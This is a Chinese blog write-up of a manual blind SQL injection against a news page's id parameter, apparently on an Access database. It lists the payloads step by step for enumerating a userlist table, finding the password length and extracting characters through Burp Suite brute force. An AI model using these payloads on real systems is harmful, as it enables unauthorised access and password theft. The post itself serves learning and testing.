看到新闻中心是一个动态页面,用id传参,然后就尝试一下SQL注入
and 1=1页面显示正常
and 1=2页面显示异常,所以判断存在SQL注入漏洞
然后看到文件后缀是.aspx,初步判断是Access库,但是用#注释页面还是回显正常,就暂定是Access,接着试
发现当使用order by 1想要判断字段数,发现报错了,所以联合注入是不可行的,Access库直接尝试盲注
and exists(select * from userlist)来判断是否存在userlist表,页面回显正常,所以存在userlist表
and exists(select id from userlist)判断是否存在id字段,页面回显正常存在id字段
and exists(select pwd from userlist)同样pwd字段也存在
当判断username字段是否存在的时候,页面报错,所以username字段是不存在的
and (select top 1 len(pwd) from userlist)>5判断pwd字段的第一行数据的长度是否大于5
and (select top 1 len(pwd) from userlist)>10,同样判断数据长度是否大于10的时候页面回显异常,说明数据长度是在5-10
and (select top 1 len(pwd) from userlist)=6最后确定pwd字段第一行数据有6个字符,然后就可以用BP进行爆破
and (select top 1 asc(mid(pwd,1,1)) from userlist)=97判断pwd字段第一行数据的第一个字符的ASCII码是否等于97
ASCII 编码中第 0~31 个字符(开头的 32 个字符)以及第 127 个字符(最后一个字符)都是不可见的(无法显示),但是它们都具有一些特殊功能,所以称为控制字符( Control Character)或者功能码(Function Code),
所以在这里数据的合法ASCII码范围是32-126,也就是payload2的范围;payload1前面已经确认了一共六个字符,所以范围为1-6,攻击类型选择集束炸弹模式,然后就可以开始跑包了。
然后可以根据返回页面的长度排序,正常页面的长度一般比异常页面长度长。
这个是sqlmap跑出来的结果,最后手注和工具跑出来的结果不一样,答案还在验证
本文来自博客园,作者:domb,转载请注明原文链接:https://www.cnblogs.com/domb2235/p/16308768.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!